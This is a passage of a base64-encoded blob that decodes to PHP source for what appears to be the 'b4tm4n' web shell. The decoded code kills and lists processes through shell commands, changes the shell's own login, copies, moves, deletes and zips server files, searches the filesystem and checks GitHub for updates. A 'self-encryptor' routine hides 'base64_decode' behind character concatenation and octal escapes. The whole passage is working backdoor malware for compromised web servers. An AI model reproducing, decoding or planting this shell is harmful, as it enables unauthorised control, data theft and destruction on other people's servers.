FU1RbJ3hhJ109PSJraWxsIikNCgkJew0KCQkJJHBpZD0kX1JFUVVFU1RbJ3BpZCddOw0KCQkJJG5hbWU9JF9SRVFVRVNUWyduYW1lJ107DQoNCgkJCWlmKFVuaXgoKSkNCgkJCXsNCgkJCQkka2lsbD1FeGVjdXRlKCJraWxsIDkgJHBpZCIpOw0KCQkJCSRraWxsPUV4ZWN1dGUoImtpbGwgOSAkbmFtZSIpOw0KCQkJCWlmKCRraWxsKSBwcmludCAnPGZvbnQgY2xhc3M9Im9mZiI+UHJvY2VzcyBLaWxsZWQ8L2ZvbnQ+JzsNCgkJCX0NCgkJCWVsc2UNCgkJCXsNCgkJCQkka2lsbD1FeGVjdXRlKCJ0YXNra2lsbCAvZiAvcGlkICRwaWQiKTsNCgkJCQkka2lsbD1FeGVjdXRlKCJ0YXNra2lsbCAvZiAvaW0gJG5hbWUiKTsNCgkJCQlpZigka2lsbCkgcHJpbnQgJzxmb250IGNsYXNzPSJvZmYiPlByb2Nlc3MgS2lsbGVkPC9mb250Pic7DQoJCQl9DQoJCX0NCg0KCQlpZihVbml4KCkpDQoJCXsNCgkJCSRyZXQ9aWNvbnYoJ1VURi04JywnVVRGLTgnLEV4ZWN1dGUoJ3BzIGF1eCcpKTsNCgkJCXByaW50ICc8ZGl2IGlkPSJwcm9jZXNzLWxpc3QiPjxwcmU+Jy4kcmV0Lic8L3ByZT48L2Rpdj4nOw0KCQl9DQoJCWVsc2UNCgkJew0KCQkJJHJldD1pY29udignV2luZG93cy0xMjUxJywnVVRGLTgnLEV4ZWN1dGUoJ3Rhc2tsaXN0JykpOw0KCQkJcHJpbnQgJzxkaXYgaWQ9InByb2Nlc3MtbGlzdCI+PHByZT4nLiRyZXQuJzwvcHJlPjwvZGl2Pic7DQoJCX0NCgl9DQoJaWYoJF9SRVFVRVNUWyd4J109PSdzaGVsbHMnKQ0KCXsNCgkJcHJpbnQgIkNvbWluZyBTb29uIjsNCgl9DQoJaWYoJF9SRVFVRVNUWyd4J109PSdzeW1saW5rJykNCgl7DQoJCXByaW50ICJDb21pbmcgU29vbiI7DQoJfQ0KCWlmKCRfUkVRVUVTVFsneCddPT0iYWNjb3VudCIpDQoJew0KCQlwcmludGYoIjxkaXYgaWQ9J2FjY291bnQnPjxmb3JtIGNsYXNzPSduZXcnIG1ldGhvZD0ncG9zdCcgYWN0aW9uPSc/eD1hY2NvdW50JnhhPWNoYW5nZSc+DQoJCQkJCTxsYWJlbD5Vc2VybmFtZTwvbGFiZWw+IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdjaGFuZ2UtdXNlcm5hbWUnIGF1dG9jb21wbGV0ZT0nb2ZmJyB2YWx1ZT0nJXMnLz4gPGJyPg0KCQkJCQk8bGFiZWw+UGFzc3dvcmQ8L2xhYmVsPiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nY2hhbmdlLXBhc3N3b3JkJyBhdXRvY29tcGxldGU9J29mZid2YWx1ZT0nJy8+PGJyPg0KCQkJCQk8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nQ2hhbmdlJyBvbmNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ1N1cmUgPycpO1wiLz4NCgkJCQk8L2Zvcm0+PC9kaXY+IixCNjREKCRhY2NvdW50WzBdKSk7DQoNCgkJaWYoYW55KCJ4YSIsJF9SRVFVRVNUKSYmJF9SRVFVRVNUWyd4YSddPT0iY2hhbmdlIikNCgkJew0KCQkJJGZpbGVuYW1lPXNjcmlwdF9maWxlbmFtZTsNCgkJCSR1c2VybmFtZT0kX1JFUVVFU1RbJ2NoYW5nZS1wYXNzd29yZCddOw0KCQkJJHBhc3N3b3JkPSRfUkVRVUVTVFsnY2hhbmdlLXVzZXJuYW1lJ107DQoNCgkJCWlmICghZW1wdHkoJHVzZXJuYW1lKSYmIWVtcHR5KCRwYXNzd29yZCkpDQoJCQl7DQoJCQkJJHVzZXJfZnJvbT0kYWNjb3VudFswXTsNCgkJCQkkdXNlcl90bz1CNjRFKCRwYXNzd29yZCk7DQoJCQkJJGNvbnRlbnQ9ZmlsZV9nZXRfY29udGVudHMoJGZpbGVuYW1lKTsNCgkJCQkkY2h1bms9ZXhwbG9kZSgkdXNlcl9mcm9tLCRjb250ZW50KTsNCgkJCQkkY29udGVudD1pbXBsb2RlKCR1c2VyX3RvLCRjaHVuayk7DQoJCQkJJGNoYW5nZT1maWxlX3B1dF9jb250ZW50cygkZmlsZW5hbWUsJGNvbnRlbnQpOw0KDQoJCQkJJHBhc3NfZnJvbT0kYWNjb3VudFsxXTsNCgkJCQkkcGFzc190bz1zaGExKG1kNSgkdXNlcm5hbWUpKTsNCgkJCQkkY29udGVudD1maWxlX2dldF9jb250ZW50cygkZmlsZW5hbWUpOw0KCQkJCSRjaHVuaz1leHBsb2RlKCRwYXNzX2Zyb20sJGNvbnRlbnQpOw0KCQkJCSRjb250ZW50PWltcGxvZGUoJHBhc3NfdG8sJGNodW5rKTsNCgkJCQkkY2hhbmdlPWZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlbmFtZSwkY29udGVudCk7DQoNCgkJCQlpZigkY2hhbmdlKQ0KCQkJCXsNCgkJCQkJc2Vzc2lvbl9kZXN0cm95KCk7DQoJCQkJCXNlc3Npb25fcmVnZW5lcmF0ZV9pZCgpOw0KCQkJCQloZWFkZXIoJ2xvY2F0aW9uOicucGhwX3NlbGYpOw0KCQkJCX0NCgkJCQllbHNlDQoJCQkJew0KCQkJCQlwcmludGYoIkVycm9yIGNoYW5nZSBhY2NvdW50Iik7DQoJCQkJfQ0KCQkJfQ0KCQkJZWxzZQ0KCQkJew0KCQkJCXByaW50ZigiPGIgY2xhc3M9J29mZic+TWlzdGFrZXMgITwvYj4iKTsNCgkJCX0NCgkJfQ0KCX0NCglpZigkX1JFUVVFU1RbJ3gnXT09ImFjdGlvbiIpDQoJew0KCQkkZmlsZXM9YW55KCdjaGsnLCRfUkVRVUVTVCk/JF9SRVFVRVNUWydjaGsnXTphcnJheSgpOw0KCQkkdmFsdWU9YW55KCdhY3Rpb24tdmFsdWUnLCRfUkVRVUVTVCk/JF9SRVFVRVNUWydhY3Rpb24tdmFsdWUnXTokX1JFUVVFU1RbJ2FjdGlvbi1vcHRpb24nXTsNCgkJJHRtcD0iIjsNCgkJJHJvdz0iIjsNCgkJJGNvdW50X2RpcnM9MDsNCgkJJGNvdW50X2ZpbGVzPTA7DQoJCQ0KCQlmb3JlYWNoKCRmaWxlcyBhcyAkZmlsZSkNCgkJew0KCQkJaWYoaXNfZGlyKHVybGQoJGZpbGUpKSkNCgkJCXsNCgkJCQkkY291bnRfZGlycysrOw0KCQkJfQ0KCQkJaWYoaXNfZmlsZSh1cmxkKCRmaWxlKSkpDQoJCQl7DQoJCQkJJGNvdW50X2ZpbGVzKys7DQoJCQl9DQoNCgkJCSRyb3cuPSI8dHI+PHRkPiIudXJsZCgkZmlsZSkuIjwvdGQ+PC90cj4iOw0KCQkJJHRtcC49dXJsZCgkZmlsZSkuIiwiOw0KCQl9DQoNCgkJaWYoY291bnQoJGZpbGVzKT09MSYmJHZhbHVlPT0nY29weScpDQoJCXsNCgkJCWhlYWRlcignbG9jYXRpb246Jy5waHBfc2VsZi4nP2E9Y3Amcj0nLiRmaWxlc1swXSk7DQoJCX0NCg0KCQlpZihjb3VudCgkZmlsZXMpPT0xJiYkdmFsdWU9PSdtb3ZlJykNCgkJew0KCQkJaGVhZGVyKCdsb2NhdGlvbjonLnBocF9zZWxmLic/YT1tdiZyPScuJGZpbGVzWzBdKTsNCgkJfQ0KDQoJCWlmKCFhbnkoJ3hhJywkX1JFUVVFU1QpJiYkdmFsdWU9PSdkZWxldGUnKQ0KCQl7DQoJCQlwcmludGYoIjxoND5EaXInczogWyVzXSBGaWxlJ3M6IFslc108L2g0Pg0KCQkJCQk8dGFibGUgY2xhc3M9J3RhYmxlJz4lczwvdGFibGU+DQoJCQkJCTxmb3JtIGNsYXNzPSduZXcnIG1ldGhvZD0ncG9zdCcgYWN0aW9uPSc/eD1hY3Rpb24meGE9b3B0aW9uJz4NCgkJCQkJCTxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2FjdGlvbi1vcHRpb24nIHZhbHVlPSclcycvPg0KCQkJCQkJPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0ndG1wJyB2YWx1ZT0nJXMnLz4NCgkJCQkJCTxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdSZW1vdmUnLz4NCgkJCQkJPC9mb3JtPiIsDQoJCQkJCSRjb3VudF9kaXJzLA0KCQkJCQkkY291bnRfZmlsZXMsDQoJCQkJCSRyb3csDQoJCQkJCSR2YWx1ZSwNCgkJCQkJJHRtcCk7DQoJCX0NCg0KCQlpZighYW55KCd4YScsJF9SRVFVRVNUKSYmJHZhbHVlIT0nZGVsZXRlJykNCgkJew0KCQkJcHJpbnRmKCI8aDQ+RGlyJ3M6IFslc10gRmlsZSdzOiBbJXNdPC9oND4NCgkJCQkJPHRhYmxlIGNsYXNzPSd0YWJsZSc+JXM8L3RhYmxlPg0KCQkJCQk8Zm9ybSBjbGFzcz0nbmV3JyBtZXRob2Q9J3Bvc3QnIGFjdGlvbj0nP3g9YWN0aW9uJnhhPW9wdGlvbic+DQoJCQkJCQk8c2NyaXB0PndpbmRvdy5vbmxvYWQ9ZnVuY3Rpb24oZSl7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2FjdGlvbl9vcHRpb24nKS52YWx1ZT0nJXMnfTwvc2NyaXB0Pg0KCQkJCQkJPHNlbGVjdCBuYW1lPSdhY3Rpb24tb3B0aW9uJyBpZD0nYWN0aW9uX29wdGlvbic+DQoJCQkJCQkJPG9wdGlvbiB2YWx1ZT0nY29weSc+Q29weTwvb3B0aW9uPg0KCQkJCQkJCTxvcHRpb24gdmFsdWU9J21vdmUnPk1vdmU8L29wdGlvbj4NCgkJCQkJCQk8b3B0aW9uIHZhbHVlPSd6aXAnPkFyY2hpdmUgKHppcCk8L29wdGlvbj4NCgkJCQkJCQk8b3B0aW9uIHZhbHVlPSd1bnppcCc+RXh0cmFjdCB0byAoemlwKTwvb3B0aW9uPg0KCQkJCQkJPC9zZWxlY3Q+DQoJCQkJCQk8aT4tPjwvaT4NCgkJCQkJCTxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3RtcCcgdmFsdWU9JyVzJy8+DQoJCQkJCQk8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nbmV3bG9jJyB2YWx1ZT0nJXMnLz4NCgkJCQkJCTxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdQcm9jZXNzJy8+DQoJCQkJCTwvZm9ybT4iLA0KCQkJCQkkY291bnRfZGlycywNCgkJCQkJJGNvdW50X2ZpbGVzLA0KCQkJCQkkcm93LA0KCQkJCQkkdmFsdWUsDQoJCQkJCSR0bXAsDQoJCQkJCSRkaXIuXyk7DQoJCX0NCg0KCQlpZihhbnkoJ3hhJywkX1JFUVVFU1QpJiYkX1JFUVVFU1RbJ3hhJ109PSdvcHRpb24nKQ0KCQl7DQoJCQkkZmlsZXM9YXJyYXlfZmlsdGVyKGV4cGxvZGUoJywnLCRfUkVRVUVTVFsndG1wJ10pKTsNCgkJCSRuZXdsb2M9dHJpbShAJF9SRVFVRVNUWyduZXdsb2MnXSk7DQoJCQkkc3VjYz0wOw0KCQkJJGZhaWw9MDsNCg0KCQkJaWYoJF9SRVFVRVNUWydhY3Rpb24tb3B0aW9uJ109PSdjb3B5JykNCgkJCXsNCgkJCQlpZihmaWxlX2V4aXN0cygkbmV3bG9jKSYmaXNfZGlyKCRuZXdsb2MpKQ0KCQkJCXsNCgkJCQkJZm9yZWFjaCgkZmlsZXMgYXMgJGZpbGUpDQoJCQkJCXsNCgkJCQkJCWlmKENvcHlSZWN1cnNpdmUoJGZpbGUscnRyaW0oJG5ld2xvYyxfKS5fLmJhc2VuYW1lKCRmaWxlKSkpDQoJCQkJCQl7DQoJCQkJCQkJJHN1Y2MrKzsNCgkJCQkJCX0NCgkJCQkJCWVsc2UNCgkJCQkJCXsNCgkJCQkJCQkkZmFpbCsrOw0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJCXByaW50ICJTdWNjZXNzOiAkc3VjYyB8IEZhaWxlZDogJGZhaWwiOw0KCQkJCX0NCgkJCQllbHNlDQoJCQkJew0KCQkJCQlwcmludCAiVGFyZ2V0IG5vdCBleGlzdHMgISI7DQoJCQkJfQ0KCQkJfQ0KDQoJCQlpZigkX1JFUVVFU1RbJ2FjdGlvbi1vcHRpb24nXT09J21vdmUnKQ0KCQkJew0KCQkJCWlmKGZpbGVfZXhpc3RzKCRuZXdsb2MpJiZpc19kaXIoJG5ld2xvYykpDQoJCQkJew0KCQkJCQlmb3JlYWNoKCRmaWxlcyBhcyAkZmlsZSkNCgkJCQkJew0KCQkJCQkJaWYoTW92ZVJlY3Vyc2l2ZSgkZmlsZSxydHJpbSgkbmV3bG9jLF8pLl8uYmFzZW5hbWUoJGZpbGUpKSkNCgkJCQkJCXsNCgkJCQkJCQkkc3VjYysrOw0KCQkJCQkJfQ0KCQkJCQkJZWxzZQ0KCQkJCQkJew0KCQkJCQkJCSRmYWlsKys7DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQkJcHJpbnQgIlN1Y2Nlc3M6ICRzdWNjIHwgRmFpbGVkOiAkZmFpbCI7DQoJCQkJfQ0KCQkJCWVsc2UNCgkJCQl7DQoJCQkJCXByaW50ICJUYXJnZXQgbm90IGV4aXN0cyAhIjsNCgkJCQl9DQoJCQl9DQoNCgkJCWlmKCRfUkVRVUVTVFsnYWN0aW9uLW9wdGlvbiddPT0nZGVsZXRlJykNCgkJCXsNCgkJCQlmb3JlYWNoKCRmaWxlcyBhcyAkZmlsZSkNCgkJCQl7DQoJCQkJCWlmKFJlbW92ZSgkZmlsZSkpDQoJCQkJCXsNCgkJCQkJCSRzdWNjKys7DQoJCQkJCX0NCgkJCQkJZWxzZQ0KCQkJCQl7DQoJCQkJCQkkZmFpbCsrOw0KCQkJCQl9DQoJCQkJfQ0KCQkJCXByaW50ICJTdWNjZXNzOiAkc3VjYyB8IEZhaWxlZDogJGZhaWwiOw0KCQkJfQ0KDQoJCQlpZigkX1JFUVVFU1RbJ2FjdGlvbi1vcHRpb24nXT09J3ppcCcpDQoJCQl7DQoJCQkJaWYocGF0aGluZm8oJG5ld2xvYylbJ2V4dGVuc2lvbiddPT0nemlwJykNCgkJCQl7DQoJCQkJCSR6aXA9bmV3IFppcEFyY2hpdmU7DQoNCgkJCQkJaWYgKCR6aXAtPm9wZW4oJG5ld2xvYyxaaXBBcmNoaXZlOjpDUkVBVEV8WmlwQXJjaGl2ZTo6T1ZFUldSSVRFKT09PVRSVUUpIA0KCQkJCQl7DQoJCQkJCQlmb3JlYWNoKCRmaWxlcyBhcyAkZmlsZSkNCgkJCQkJCXsNCgkJCQkJCQlpZihpc19kaXIoJGZpbGUpKQ0KCQkJCQkJCXsNCgkJCQkJCQkJJHppcC0+YWRkRW1wdHlEaXIoYmFzZW5hbWUoJGZpbGUpKTsNCg0KCQkJCQkJCQkkcmVjdXI9bmV3IFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IoDQoJCQkJCQkJCSAgICBuZXcgUmVjdXJzaXZlRGlyZWN0b3J5SXRlcmF0b3IoJGZpbGUpLA0KCQkJCQkJCQkgICAgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcjo6TEVBVkVTX09OTFkgDQoJCQkJCQkJCSk7DQoNCgkJCQkJCQkJZm9yZWFjaCAoJHJlY3VyIGFzICRrZXkgPT4gJHZhbCkgDQoJCQkJCQkJCXsNCgkJCQkJCQkJICAgIGlmKGJhc2VuYW1lKCRrZXkpIT0iLi4iKQ0KCQkJCQkJCQkJew0KCQkJCQkJCQkJICAgIGlmKGlzX2Rpcigka2V5KSkNCgkJCQkJCQkJCQl7DQoJCQkJCQkJCQkJCSR6ZGlyPXN0cl9yZXBsYWNlKCRmaWxlLGJhc2VuYW1lKCRmaWxlKSxyZWFscGF0aCgka2V5KSk7DQoJCQkJCQkJCQkJCSR6aXAtPmFkZEVtcHR5RGlyKCR6ZGlyKTsNCgkJCQkJCQkJCQl9DQoJCQkJCQkJCQkJZWxzZWlmKGlzX2ZpbGUoJGtleSkpDQoJCQkJCQkJCQkJew0KCQkJCQkJCQkJCQkkemZpbGU9c3RyX3JlcGxhY2UoJGZpbGUsYmFzZW5hbWUoJGZpbGUpLHJlYWxwYXRoKCRrZXkpKTsNCgkJCQkJCQkJCQkJJHppcC0+YWRkRmlsZShyZWFscGF0aCgka2V5KSwkemZpbGUpOw0KCQkJCQkJCQkJCX0NCgkJCQkJCQkJCX0NCgkJCQkJCQkJfQ0KCQkJCQkJCX0NCgkJCQkJCQllbHNlaWYoaXNfZmlsZSgkZmlsZSkpDQoJCQkJCQkJew0KCQkJCQkJCQkkemlwLT5hZGRGaWxlKCRmaWxlLGJhc2VuYW1lKCRmaWxlKSk7DQoJCQkJCQkJfQ0KCQkJCQkJfQ0KDQoJCQkJCSAgICAkemlwLT5jbG9zZSgpOw0KCQkJCQkgICAgcHJpbnQgJ1ppcCBDcmVhdGVkJzsNCgkJCQkJfQ0KCQkJCQllbHNlIA0KCQkJCQl7DQoJCQkJCSAgICBwcmludCAnRmFpbGVkJzsNCgkJCQkJfQ0KCQkJCX0NCgkJCQllbHNlDQoJCQkJew0KCQkJCQlwcmludCAnRXh0ZW5zaW9uIG11c3QgWmlwJzsNCgkJCQl9DQoJCQl9DQoNCgkJCWlmKCRfUkVRVUVTVFsnYWN0aW9uLW9wdGlvbiddPT0ndW56aXAnKQ0KCQkJew0KCQkJCWlmKGZpbGVfZXhpc3RzKCRuZXdsb2MpJiZpc19kaXIoJG5ld2xvYykpDQoJCQkJew0KCQkJCQlmb3JlYWNoKCRmaWxlcyBhcyAkZmlsZSkNCgkJCQkJew0KCQkJCQkJaWYocGF0aGluZm8oJG5ld2xvYylbJ2V4dGVuc2lvbiddPT0nemlwJykNCgkJCQkJCXsNCgkJCQkJCQkkemlwPW5ldyBaaXBBcmNoaXZlOw0KCQkJCQkNCgkJCQkJCQlpZiAoJHppcC0+b3BlbigkZmlsZSk9PT1UUlVFKSANCgkJCQkJCQl7DQoJCQkJCQkJICAgICR6aXAtPmV4dHJhY3RUbygkbmV3bG9jKTsNCgkJCQkJCQkgICAgJHppcC0+Y2xvc2UoKTsNCgkJCQkJCQkgICAgJHN1Y2MrKzsNCgkJCQkJCQl9DQoJCQkJCQkJZWxzZSANCgkJCQkJCQl7DQoJCQkJCQkJICAgICRmYWlsKys7DQoJCQkJCQkJfQ0KCQkJCQkJfQ0KCQkJCQkJZWxzZSANCgkJCQkJCXsNCgkJCQkJCSAgICAkZmFpbCsrOw0KCQkJCQkJfQ0KCQkJCQkJDQoJCQkJCX0NCgkJCQkJcHJpbnQgIlN1Y2Nlc3M6ICRzdWNjIHwgRmFpbGVkOiAkZmFpbCI7DQoJCQkJfQ0KCQkJCWVsc2UNCgkJCQl7DQoJCQkJCXByaW50ICJUYXJnZXQgbm90IGV4aXN0cyAhIjsNCgkJCQl9DQoJCQl9DQoJCX0NCgl9DQoJaWYoJF9SRVFVRVNUWyd4J109PSJmaW5kIikNCgl7DQoJCSRyZWN1cj1uZXcgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcigNCgkJICAgIG5ldyBSZWN1cnNpdmVEaXJlY3RvcnlJdGVyYXRvcigkZGlyKSwNCgkJICAgIFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3I6OkxFQVZFU19PTkxZIA0KCQkpOw0KDQoJCWlmKGFueSgnZmluZC12YWx1ZScsJF9SRVFVRVNUKSYmIWVtcHR5KCRfUkVRVUVTVFsnZmluZC12YWx1ZSddKSkNCgkJew0KCQkJJHJlc3VsdD0iIjsNCgkJCSRyZXNfPTA7DQoNCgkJCWZvcmVhY2ggKCRyZWN1ciBhcyAka2V5ID0+ICR2YWwpIA0KCQkJew0KCQkJCWlmKGJhc2VuYW1lKCRrZXkpIT0iLi4iKQ0KCQkJCXsNCgkJCQkJaWYoc3RycG9zKHJlYWxwYXRoKCRrZXkpLCRfUkVRVUVTVFsnZmluZC12YWx1ZSddKSE9PSBmYWxzZSkgDQoJCQkJCXsNCgkJCQkJCSRyZXN1bHQuPXNwcmludGYoIjx0cj4NCgkJCQkJCQkJPHRkPjwvdGQ+DQoJCQkJCQkJCTx0ZD48YSBocmVmPSc/Zz0lcycgdGl0bGU9JyVzJyB0YXJnZXQ9J19ibGFuayc+JXM8L2E+PC90ZD4NCgkJCQkJCQkJPHRkPjxhIGhyZWY9Jz9nPSVzJyB0aXRsZT0nJXMnIHRhcmdldD0nX2JsYW5rJz4lczwvYT48L3RkPg0KCQkJCQkJCQk8dGQ+PGNlbnRlcj4lczwvY2VudGVyPjwvdGQ+DQoJCQkJCQkJCTwvdHI+IiwNCgkJCQkJCQkJc3Vic3RyKHJlYWxwYXRoKCRrZXkpLDAsc3RycnBvcyhyZWFscGF0aCgka2V5KSxfKSksDQoJCQkJCQkJCXN1YnN0cihyZWFscGF0aCgka2V5KSwwLHN0cnJwb3MocmVhbHBhdGgoJGtleSksXykpLA0KCQkJCQkJCQlzdWJzdHIocmVhbHBhdGgoJGtleSksMCxzdHJycG9zKHJlYWxwYXRoKCRrZXkpLF8pKSwNCgkJCQkJCQkJcmVhbHBhdGgoJGtleSksDQoJCQkJCQkJCXJlYWxwYXRoKCRrZXkpLA0KCQkJCQkJCQliYXNlbmFtZShyZWFscGF0aCgka2V5KSksDQoJCQkJCQkJCUdldEZpbGVUaW1lKHJlYWxwYXRoKCRrZXkpLCdtb2RpZnknKQ0KCQkJCQkJKTsNCg0KCQkJCQkJJHJlc18rKzsNCgkJCQkJfQ0KCQkJCX0NCgkJCX0NCg0KCQkJcHJpbnRmKCINCgkJCQkJPGZvcm0gY2xhc3M9J25ldycgbWV0aG9kPVBPU1QgYWN0aW9uPSc/eD1maW5kJz4NCgkJCQkJCTxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdmaW5kLXZhbHVlJyBpZD0nZmluZC1hY3Rpb24nIHZhbHVlPSclcycvPjxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J2ZpbmQtYnV0dG9uJyB2YWx1ZT0nRmluZCcvPg0KCQkJCQkJPGxhYmVsIHN0eWxlPSdtYXJnaW4tbGVmdDoxMHB4Jz48Zm9udCBjbGFzcz0nb24nPkZpbmQ6ICclcycgfCBGb3VuZCdzOiAlczwvZm9udD48L2xhYmVsPgkNCgkJCQkJPC9mb3JtPg0KCQkJCQk8ZGl2IGNsYXNzPSdhdXRvLW51bWJlcic+DQoJCQkJCQk8dGFibGUgY2xhc3M9J3RhYmxlIHNvcnRhYmxlJz4NCgkJCQkJCQk8dGhlYWQ+DQoJCQkJCQkJCTx0cj4NCgkJCQkJCQkJCTx0aCBjbGFzcz0nc29ydHRhYmxlX25vc29ydCcgd2lkdGg9JzE1Jz5Oby48L3RoPg0KCQkJCQkJCQkJPHRoPkRpcmVjdG9yeTwvdGg+DQoJCQkJCQkJCQk8dGg+TmFtZTwvdGg+DQoJCQkJCQkJCQk8dGg+TW9kaWZpZWQ8L3RoPg0KCQkJCQkJCQk8L3RyPg0KCQkJCQkJCTx0Ym9keT4lczwvdGJvZHk+DQoJCQkJCQk8L3RhYmxlPg0KCQkJCQk8L2Rpdj4iLCRfUkVRVUVTVFsnZmluZC12YWx1ZSddLCRfUkVRVUVTVFsnZmluZC12YWx1ZSddLCRyZXNfLCRyZXN1bHQpOw0KCQl9DQoJCWVsc2UNCgkJew0KCQkJcHJpbnQgIjxmb3JtIGNsYXNzPSduZXcnIG1ldGhvZD1QT1NUIGFjdGlvbj0nP3g9ZmluZCc+DQoJCQkJCQk8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nZmluZC12YWx1ZScvPjxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J2ZpbmQtYnV0dG9uJyB2YWx1ZT0nRmluZCcvPg0KCQkJCQkJPGxhYmVsIHN0eWxlPSdtYXJnaW4tbGVmdDoxMHB4Jz48Zm9udCBjb2xvcj0ncmVkJz5XaG9vcHMsIE5vdGhpbmcgdG8gRm91bmQncyAhPC9mb250PjwvbGFiZWw+DQoJCQkJCTwvZm9ybT4iOw0KCQl9DQoJfQ0KCWlmKCRfUkVRVUVTVFsneCddPT0idXBkYXRlIikNCgl7DQoJCSRsaW5rX3VwZGF0ZT0naHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2s0bXByM3QvYjR0bTRuL21hc3Rlci9iYXQucGhwJzsNCgkJJGN1cnJlbnRfdmVyc2lvbj0yLjc7IC8vTmV3IFZlcnNpb24gUmVsZWFzZWQNCg0KCQlpZigkY29uZmlnWydkZWJ1ZyddPT10cnVlKQ0KCQl7DQoJCQkkbGF0ZXN0X3ZlcnNpb249JGN1cnJlbnRfdmVyc2lvbiswLjE7IC8vVGVzdCBVcGRhdGUgbGF0ZXN0IHZlcnNpb24gLS8rIDAuMQ0KCQl9DQoJCWVsc2UNCgkJew0KCQkJJGdpdF9zY3JpcHQ9R2V0VXJsQ29udGVudCgkbGlua191cGRhdGUpOw0KCQkJJGdldF92ZXJzaW9uPXN0cnBvcygkZ2l0X3NjcmlwdCwiY3VycmVudF92ZXJzaW9uIik7DQoJCQkkdmVyc2lvbj1zdWJzdHIoJGdpdF9zY3JpcHQsJGdldF92ZXJzaW9uKzE2LDMpOw0KCQkJJGxhdGVzdF92ZXJzaW9uPWlzX251bWVyaWMoJHZlcnNpb24pPyR2ZXJzaW9uOiRjdXJyZW50X3ZlcnNpb247DQoJCX0NCg0KCQkkc3RhdHVzPSIiOw0KCQlpZigoZmxvYXQpJGxhdGVzdF92ZXJzaW9uPihmbG9hdCkkY3VycmVudF92ZXJzaW9uKQ0KCQl7DQoJCQlpZigkY29uZmlnWydkZWJ1ZyddPT10cnVlKQ0KCQkJew0KCQkJCSRzdGF0dXMuPSdOZXcgVmVyc2lvbiBBdmFpbGFibGUgJy4kbGF0ZXN0X3ZlcnNpb24uJzxicj5TZXR0aW5nIERlYnVnIHRvIEZhbHNlIGZvciBBY3RpdmF0ZSB0aGlzIEZlYXR1cmUnOw0KCQkJfQ0KCQkJZWxzZQ0KCQkJew0KCQkJCSRzdGF0dXMuPSdOZXcgVmVyc2lvbiBBdmFpbGFibGUgJy4kbGF0ZXN0X3ZlcnNpb24uJzxicj5Eb3dubG9hZCAtPiBbPGZvbnQgY2xhc3M9Im9uIj48YSBocmVmPSInLiRsaW5rX3VwZGF0ZS4nIiB0YXJnZXQ9Il9ibGFuayI+bGluazwvYT48L2ZvbnQ+XSc7DQoJCQl9DQoJCX0NCgkJZWxzZQ0KCQl7DQoJCQkkc3RhdHVzLj0nTGF0ZXN0IFZlcnNpb24gJy4kY3VycmVudF92ZXJzaW9uOw0KCQl9DQoNCgkJUHJpbnRmKCI8ZGl2IGlkPSd1cGRhdGUnPg0KCQkJCQk8YSBocmVmPSdodHRwczovL3d3dy5nbnUub3JnL2xpY2Vuc2VzL2dwbC0zLjAudHh0JyB0YXJnZXQ9J19ibGFuaycgdGl0bGU9J0xpY2Vuc2UnPg0KCQkJCQkJPGltZyBzcmM9J2h0dHBzOi8vd3d3LmdudS5vcmcvZ3JhcGhpY3MvbGdwbHYzLTg4eDMxLnBuZycvPg0KCQkJCQk8L2E+PGJyPjxicj4lcw0KCQkJCTwvZGl2PiIsJHN0YXR1cyk7DQoJfQ0KCWlmKCRfUkVRVUVTVFsneCddPT0ic2VsZi1lbmNyeXB0b3IiKQ0KCXsNCgkJaWYoJHBocF9zY3JpcHQ9aHRtbGVudGl0aWVzKEBmaWxlX2dldF9jb250ZW50cyhfX0ZJTEVfXykpKQ0KCQl7DQoJCQkkYXN1PXN0cnBvcygkcGhwX3NjcmlwdCwkX1NFU1NJT05bImFjdGlvbiJdWyJwYXNzd29yZCJdKTsNCgkJCSR0ZW1wPXN1YnN0cigkcGhwX3NjcmlwdCwkYXN1KzQ4KTsNCgkJCSRyYW5kPSJcJCIuc3Vic3RyKHN0cl9zaHVmZmxlKCJhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5eiIpLDAscmFuZCgxLDMpKTsNCgkJCSRyYW5kMj0iXCQiLnN1YnN0cihzdHJfc2h1ZmZsZSgiYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoiKSwwLHJhbmQoMiw1KSk7DQoJCQkkX2E9ImIiOyRfYj0iYSI7JF9jPSJzIjskX2Q9ImUiOyRfZT0iNiI7JF9mPSI0IjsNCgkJCSRfZz0iXyI7JF9oPSJlIjskX2k9Im4iOyRfaj0iYyI7JF9rPSJvIjskX2w9ImQiOyRfbT0iZSI7DQoJCQkkYjY0ZT0kX2EuJF9iLiRfYy4kX2QuJF9lLiRfZi4kX2cuJF9oLiRfaS4kX2ouJF9rLiRfbC4kX207DQoJCQkkYjY0ZD0kX2EuJF9iLiRfYy4kX2QuJF9lLiRfZi4kX2cuJF9sLiRfbS4kX2ouJF9rLiRfbC4kX207DQoJCQkkYjY0PWFycmF5KA0KCQkJCSciXDE0MlwxNDFcMTYzXHg2NVw2Nlx4MzRcMTM3XHg2NFx4NjVceDYzXDE1N1wxNDRcMTQ1IicsDQoJCQkJJ3N0cnJldigiZWQiLiJvY2UiLiJkXzQiLiI2ZXMiLiJhYiIpJywNCgkJCQknc3RycmV2KCJlIi4iZG9jIi4iZWRfIi4iNDZlIi4ic2